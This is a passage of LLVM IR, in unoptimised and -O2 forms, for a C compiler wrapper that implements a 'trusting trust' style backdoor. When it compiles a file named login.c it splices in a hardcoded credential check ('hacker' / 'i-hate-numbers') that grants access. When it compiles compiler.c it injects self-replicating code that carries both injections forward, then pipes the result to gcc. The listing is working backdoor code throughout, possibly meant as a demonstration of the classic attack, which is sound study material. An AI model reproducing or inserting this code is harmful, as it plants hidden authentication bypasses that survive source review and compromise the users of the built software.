store i8* %39, i8** %7
%40 = load i8*, i8** %6
%41 = call i32* @fopen(i8* %40, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i32* %41, i32** %8
%42 = load i32*, i32** %8
%43 = icmp eq i32* %42, null
br i1 %43, label %44, label %46
44: ; preds = %33
%45 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %168
46: ; preds = %33
%47 = load i32*, i32** %8
%48 = load i32, i32* @SEEK_END
%49 = call i32 @fseek(i32* %47, i32 0, i32 %48)
%50 = load i32*, i32** %8
%51 = call i32 @ftell(i32* %50)
store i32 %51, i32* %9
%52 = load i32*, i32** %8
%53 = call i32 @rewind(i32* %52)
%54 = load i32, i32* %9
%55 = add nsw i32 %54, 1
store i32 %55, i32* %10
%56 = load i32, i32* %10
%57 = call i64 @malloc(i32 %56)
%58 = inttoptr i64 %57 to i8*
store i8* %58, i8** %11
%59 = load i8*, i8** %11
%60 = load i32, i32* %9
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds i8, i8* %59, i64 %61
store i8 0, i8* %62
%63 = load i8*, i8** %11
%64 = load i32, i32* %9
%65 = load i32*, i32** %8
%66 = call i32 @fread(i8* %63, i32 1, i32 %64, i32* %65)
store i32 %66, i32* %12
%67 = load i32*, i32** %8
%68 = call i32 @fclose(i32* %67)
store i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i8** %13
%69 = load i8*, i8** %6
%70 = call i8* @strstr(i8* %69, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%71 = icmp ne i8* %70, null
br i1 %71, label %72, label %108
72: ; preds = %46
%73 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%74 = load i8*, i8** %13
%75 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %73, i32 200, i8* %74, i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%76 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%77 = call i32 @strlen(i8* %76)
store i32 %77, i32* %15
%78 = load i32, i32* %10
%79 = load i32, i32* %15
%80 = add nsw i32 %78, %79
store i32 %80, i32* %16
%81 = load i32, i32* %16
%82 = call i64 @calloc(i32 %81, i32 1)
%83 = inttoptr i64 %82 to i8*
store i8* %83, i8** %17
%84 = load i8*, i8** %11
%85 = call i8* @strstr(i8* %84, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
store i8* %85, i8** %18
%86 = load i8*, i8** %18
%87 = load i8*, i8** %11
%88 = ptrtoint i8* %86 to i64
%89 = ptrtoint i8* %87 to i64
%90 = sub i64 %88, %89
%91 = trunc i64 %90 to i32
store i32 %91, i32* %19
%92 = load i8*, i8** %17
%93 = load i8*, i8** %11
%94 = load i32, i32* %19
%95 = call i32 @strncpy(i8* %92, i8* %93, i32 %94)
%96 = load i8*, i8** %17
%97 = getelementptr inbounds [200 x i8], [200 x i8]* %14, i64 0, i64 0
%98 = load i32, i32* %15
%99 = call i32 @strncat(i8* %96, i8* %97, i32 %98)
%100 = load i8*, i8** %17
%101 = load i8*, i8** %18
%102 = call i32 @strcat(i8* %100, i8* %101)
%103 = load i8*, i8** %11
%104 = call i32 @free(i8* %103)
%105 = load i8*, i8** %17
store i8* %105, i8** %11
%106 = load i32, i32* %16
%107 = sub nsw i32 %106, 1
store i32 %107, i32* %9
br label %108
108: ; preds = %72, %46
store i8* getelementptr inbounds ([2090 x i8], [2090 x i8]* @.str.6, i64 0, i64 0), i8** %20
%109 = load i8*, i8** %6
%110 = call i8* @strstr(i8* %109, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
%111 = icmp ne i8* %110, null
br i1 %111, label %112, label %152
112: ; preds = %108
%113 = getelementptr inbounds [10000 x i8], [10000 x i8]* %21, i64 0, i64 0
%114 = load i8*, i8** %20
%115 = load i8*, i8** %13
%116 = load i8*, i8** %20
%117 = call i32 @sprintf(i8* %113, i8* %114, i32 34, i8* %115, i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* %116, i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%118 = getelementptr inbounds [10000 x i8], [10000 x i8]* %21, i64 0, i64 0
%119 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.8, i64 0, i64 0), i8* %118)
%120 = getelementptr inbounds [10000 x i8], [10000 x i8]* %21, i64 0, i64 0
%121 = call i32 @strlen(i8* %120)
store i32 %121, i32* %22
%122 = load i32, i32* %10
%123 = load i32, i32* %22
%124 = add nsw i32 %122, %123
store i32 %124, i32* %23
%125 = load i32, i32* %23
%126 = call i64 @calloc(i32 %125, i32 1)
%127 = inttoptr i64 %126 to i8*
store i8* %127, i8** %24
%128 = load i8*, i8** %11
%129 = call i8* @strstr(i8* %128, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.9, i64 0, i64 0))
store i8* %129, i8** %25
%130 = load i8*, i8** %25
%131 = load i8*, i8** %11
%132 = ptrtoint i8* %130 to i64
%133 = ptrtoint i8* %131 to i64
%134 = sub i64 %132, %133
%135 = trunc i64 %134 to i32
store i32 %135, i32* %26
%136 = load i8*, i8** %24
%137 = load i8*, i8** %11
%138 = load i32, i32* %26
%139 = call i32 @strncpy(i8* %136, i8* %137, i32 %138)
%140 = load i8*, i8** %24
%141 = getelementptr inbounds [10000 x i8], [10000 x i8]* %21, i64 0, i64 0
%142 = load i32, i32* %22
%143 = call i32 @strncat(i8* %140, i8* %141, i32 %142)
%144 = load i8*, i8** %24
%145 = load i8*, i8** %25
%146 = call i32 @strcat(i8* %144, i8* %145)
%147 = load i8*, i8** %11
%148 = call i32 @free(i8* %147)
%149 = load i8*, i8** %24
store i8* %149, i8** %11
%150 = load i32, i32* %23
%151 = sub nsw i32 %150, 1
store i32 %151, i32* %9
br label %152
152: ; preds = %112, %108
%153 = getelementptr inbounds [500 x i8], [500 x i8]* %27, i64 0, i64 0
%154 = load i8*, i8** %7
%155 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %153, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.10, i64 0, i64 0), i8* %154)
%156 = getelementptr inbounds [500 x i8], [500 x i8]* %27, i64 0, i64 0
%157 = call i32* @popen(i8* %156, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.11, i64 0, i64 0))
store i32* %157, i32** %28
%158 = load i8*, i8** %11
%159 = load i32, i32* %9
%160 = load i32*, i32** %28
%161 = call i32 @fwrite(i8* %158, i32 1, i32 %159, i32* %160)
%162 = load i8*, i8** %11
%163 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.8, i64 0, i64 0), i8* %162)
%164 = load i32*, i32** %28
%165 = call i32 @pclose(i32* %164)
%166 = load i8*, i8** %11
%167 = call i32 @free(i8* %166)
br label %168
168: ; preds = %152, %44, %31
%169 = load i32, i32* %3
ret i32 %169
}

LLVM IR (-O2):
@.str.1 = [2 x i8] c"r\00"
@.str.2 = [20 x i8] c"File does not exist\00"
@SEEK_END = global i32 0
@.str.3 = [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00"
@.str.4 = [8 x i8] c"login.c\00"
@.str.5 = [27 x i8] c"printf(TEXT_UNAUTHORISED);\00"
@.str.6 = [2090 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00"
@.str.7 = [11 x i8] c"compiler.c\00"
@.str.9 = [26 x i8] c"char compileCommand[500];\00"
@.str.10 = [16 x i8] c"gcc -o %s -xc -\00"
@.str.11 = [2 x i8] c"w\00"
@str = [23 x i8] c"Insufficient arguments\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [200 x i8]
%4 = alloca [10000 x i8]
%5 = alloca [500 x i8]
%6 = icmp slt i32 %0, 4
br i1 %6, label %7, label %9
7: ; preds = %2
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str, i64 0, i64 0))
br label %81
9: ; preds = %2
%10 = getelementptr inbounds i8*, i8** %1, i64 1
%11 = load i8*, i8** %10
%12 = getelementptr inbounds i8*, i8** %1, i64 3
%13 = load i8*, i8** %12
%14 = tail call i32* @fopen(i8* %11, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%15 = icmp eq i32* %14, null
br i1 %15, label %16, label %18
16: ; preds = %9
%17 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([20 x i8], [20 x i8]* @.str.2, i64 0, i64 0))
br label %81
18: ; preds = %9
%19 = load i32, i32* @SEEK_END
%20 = tail call i32 @fseek(i32* %14, i32 0, i32 %19)
%21 = tail call i32 @ftell(i32* %14)
%22 = tail call i32 @rewind(i32* %14)
%23 = add nsw i32 %21, 1
%24 = tail call i64 @malloc(i32 %23)
%25 = inttoptr i64 %24 to i8*
%26 = sext i32 %21 to i64
%27 = getelementptr inbounds i8, i8* %25, i64 %26
store i8 0, i8* %27
%28 = tail call i32 @fread(i8* %25, i32 1, i32 %21, i32* %14)
%29 = tail call i32 @fclose(i32* %14)
%30 = tail call i8* @strstr(i8* dereferenceable(1) %11, i8* dereferenceable(1) getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0))
%31 = icmp eq i8* %30, null
br i1 %31, label %48, label %32
32: ; preds = %18
%33 = getelementptr inbounds [200 x i8], [200 x i8]* %3, i64 0, i64 0
%34 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %33, i32 200, i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%35 = call i32 @strlen(i8* %33)
%36 = add nsw i32 %35, %23
%37 = call i64 @calloc(i32 %36, i32 1)
%38 = inttoptr i64 %37 to i8*
%39 = call i8* @strstr(i8* dereferenceable(1) %25, i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
%40 = ptrtoint i8* %39 to i64
%41 = sub i64 %40, %24
%42 = trunc i64 %41 to i32
%43 = call i32 @strncpy(i8* %38, i8* %25, i32 %42)
%44 = call i32 @strncat(i8* %38, i8* %33, i32 %35)
%45 = call i32 @strcat(i8* %38, i8* %39)
%46 = call i32 @free(i8* %25)
%47 = add i32 %35, %21
br label %48
48: ; preds = %32, %18
%49 = phi i8* [ %38, %32 ], [ %25, %18 ]
%50 = phi i32 [ %47, %32 ], [ %21, %18 ]
%51 = call i8* @strstr(i8* dereferenceable(1) %11, i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
%52 = icmp eq i8* %51, null
br i1 %52, label %71, label %53
53: ; preds = %48
%54 = getelementptr inbounds [10000 x i8], [10000 x i8]* %4, i64 0, i64 0
%55 = call i32 @sprintf(i8* %54, i8* dereferenceable(1) getelementptr inbounds ([2090 x i8], [2090 x i8]* @.str.6, i64 0, i64 0), i32 34, i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* getelementptr inbounds ([2090 x i8], [2090 x i8]* @.str.6, i64 0, i64 0), i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%56 = call i32 @puts(i8* %54)
%57 = call i32 @strlen(i8* %54)
%58 = add nsw i32 %57, %23
%59 = call i64 @calloc(i32 %58, i32 1)
%60 = inttoptr i64 %59 to i8*
%61 = call i8* @strstr(i8* dereferenceable(1) %49, i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @.str.9, i64 0, i64 0))
%62 = ptrtoint i8* %61 to i64
%63 = ptrtoint i8* %49 to i64
%64 = sub i64 %62, %63
%65 = trunc i64 %64 to i32
%66 = call i32 @strncpy(i8* %60, i8* %49, i32 %65)
%67 = call i32 @strncat(i8* %60, i8* %54, i32 %57)
%68 = call i32 @strcat(i8* %60, i8* %61)
%69 = call i32 @free(i8* %49)
%70 = add i32 %57, %21
br label %71
71: ; preds = %53, %48
%72 = phi i8* [ %60, %53 ], [ %49, %48 ]
%73 = phi i32 [ %70, %53 ], [ %50, %48 ]
%74 = getelementptr inbounds [500 x i8], [500 x i8]* %5, i64 0, i64 0
%75 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %74, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.10, i64 0, i64 0), i8* %13)
%76 = call i32* @popen(i8* %74, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.11, i64 0, i64 0))
%77 = call i32 @fwrite(i8* %72, i32 1, i32 %73, i32* %76)
%78 = call i32 @puts(i8* dereferenceable(1) %72)
%79 = call i32 @pclose(i32* %76)
%80 = call i32 @free(i8* %72)
br label %81
81: ; preds = %16, %71, %7
%82 = phi i32 [ 1, %7 ], [ 1, %16 ], [ 0, %71 ]
ret i32 %82
}